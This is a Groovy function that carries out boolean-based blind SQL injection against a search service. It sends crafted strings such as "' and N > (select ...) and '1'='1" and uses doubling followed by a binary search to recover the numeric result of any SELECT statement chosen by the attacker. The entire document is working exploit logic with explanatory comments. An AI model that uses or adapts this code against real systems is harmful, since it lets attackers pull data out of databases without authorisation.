// get a number 
def getNumber(String positiveValue, String sqlText) {
// -------------------------------------------------------
// get a number as a result of execution on the select statement - sqlText
// parameters:
// positiveValue - a string that returns some data from the search service
// sqlText - a select statement returning a single number, 
// e.g. 'select count(*) from dual'
//
println "read a numeric value using injection string:"
println "${positiveValue}' and \${checkedNumber} > (${sqlText}) and '1'='1"
int guessLo = 0
// get an upper bound using power of 2
int guessHi = 2
// if the service returns a row then guessHi > target_number and we can quit the loop
print "starting with upper limit ... "
while (!(isFound("${positiveValue}' and ${guessHi} > (${sqlText}) and '1'='1"))) {
  guessHi = guessHi*2
} 
println guessHi
//
String x
while (guessLo < guessHi) {
  int check = guessLo + (guessHi - guessLo +1)/ 2
  print "testing ${check} ..."
  x = "${positiveValue}%' and ${check} > (${sqlText}) and '%'='"
  // if the service returns a row then check > target_number
  if (isFound(x))  {guessHi = check-1; println 'higher'} else
    {guessLo = check; println 'lower or equal'}
}
println "found ${guessLo}"
return guessLo 
}